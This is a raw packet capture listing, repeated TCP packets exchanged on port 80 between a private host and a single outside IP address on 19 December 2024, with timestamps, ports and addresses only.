Dec 19, 2024 20:11:23.008686066 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.008961916 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.009094954 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.009385109 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.009471893 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.010001898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.010063887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.010155916 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.010910988 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.010962963 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.011033058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.011497974 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.011892080 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.011960030 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.012016058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.012063026 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.012916088 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.012964010 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.013498068 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.013653994 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.014003038 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.014058113 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.014116049 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.014187098 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.015084982 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.015099049 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.015141964 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.016026020 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.016104937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.016360044 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.017117977 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.017128944 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.017184019 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.018168926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.018177986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.018239021 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.019018888 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.019409895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.019470930 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.020009041 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.020061970 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.020273924 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.021100998 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.021143913 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.021157980 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.021712065 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.021789074 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.022156000 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.022327900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.022380114 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.023046017 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.023152113 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.023231030 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.024076939 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.024139881 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.036664963 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.036757946 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.036837101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.037065029 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.037128925 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.037198067 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.037257910 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.038085938 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.038316965 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.038404942 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.039098024 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.040659904 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.167135954 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.167215109 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.167434931 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.167498112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.167646885 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.167658091 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.167696953 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.168586969 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.168649912 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.169684887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.169694901 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.169749022 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.169816017 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.169869900 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.170646906 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.170700073 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.171128035 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.171194077 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.171761990 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.171845913 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.172914028 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.172966957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.173249960 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.173300982 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.173392057 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.173444033 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.173758030 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.173774004 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.173814058 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.174662113 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.174721003 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.174758911 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.174839973 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.175756931 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.175815105 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.175837994 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.175859928 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.176825047 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.176836014 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.176879883 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.177894115 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.178180933 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.178220034 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.178308964 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.178858042 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.178867102 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.178915977 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.179754019 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.179828882 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.180079937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.180149078 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.180798054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.180852890 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.181011915 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.181081057 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.181776047 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.181859016 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.181899071 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.181947947 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.182774067 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.182845116 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.183875084 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.183885098 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.183936119 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.184071064 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.184120893 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.184897900 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.184952021 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.184959888 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.185024023 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.185875893 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.185933113 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.186003923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.186134100 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.186856985 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.186988115 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.187235117 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.187290907 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.187859058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.187869072 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.187918901 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.188837051 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.188921928 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.188945055 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.189002991 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.189940929 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.189990997 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.190020084 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.190071106 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.191020012 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.191029072 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.191063881 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.191075087 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.191940069 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.191950083 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.192002058 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.193058014 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.193114042 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.193238020 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.193306923 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.193878889 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.193941116 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.194138050 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.194235086 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.195003033 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.195012093 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.195066929 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.195972919 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.196024895 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.196928024 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.196985960 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.197020054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.197027922 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.197071075 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.197961092 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.198014021 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.198143005 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.198196888 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.199073076 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.199124098 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.199474096 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.199553013 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.199996948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.200052977 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.200124979 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.200172901 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.201107025 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.201162100 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.201354980 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.201491117 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.201945066 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.201998949 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.202172041 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.202222109 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.202997923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.203061104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.203073978 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.203121901 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.204039097 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.204096079 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.204310894 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.204360008 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.205024958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.205105066 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.205705881 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.205756903 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.206007957 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.206063032 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.206216097 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.206265926 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.207050085 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.207108974 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.207186937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.207361937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.208076954 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.208086967 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.208133936 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.209099054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.209152937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.209387064 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.209434032 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.210104942 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.210181952 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.210417986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.210464001 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.211107969 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.211158037 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.211271048 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.211329937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.212106943 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.212158918 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.212239981 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.212300062 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.213084936 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.213139057 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.213203907 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.213267088 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.214147091 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.214266062 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.214271069 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.214328051 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.215267897 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.215325117 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.215421915 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.215543032 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.216288090 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.216356039 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.216398001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.216448069 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.228708029 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.228950977 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.229175091 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.229193926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.229243040 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.229342937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.229392052 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.230168104 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.230221033 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.230459929 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.230546951 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.231070995 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.231131077 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.359210968 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.359358072 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.359375954 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.359525919 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.359608889 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.359901905 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.359966040 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.360558987 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.360637903 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.360991001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.361042976 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.361109018 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.361159086 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.362023115 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.362090111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.362953901 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.362971067 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.363003016 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.363017082 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.363118887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.363173008 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.364012003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.364022017 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.364063978 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.365042925 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.365122080 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.365300894 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.365353107 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.366090059 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.366097927 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.366147995 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.367120028 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.367129087 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.367180109 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.368031025 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.368083954 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.368149996 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.368204117 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.369062901 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.369127989 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.369479895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.369525909 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.370184898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.370297909 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.370310068 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.370366096 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.371268034 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.371330023 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.371347904 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.371411085 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.372137070 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.372203112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.372375011 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.372443914 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.373095989 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.373228073 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.373230934 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.373439074 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.374142885 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.374151945 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.374201059 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.375081062 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.375139952 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.375298977 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.375361919 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.376235962 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.376245022 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.376293898 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.377160072 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.377259970 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.378074884 CET	80	49794	31.41.244.11	192.168.2.4
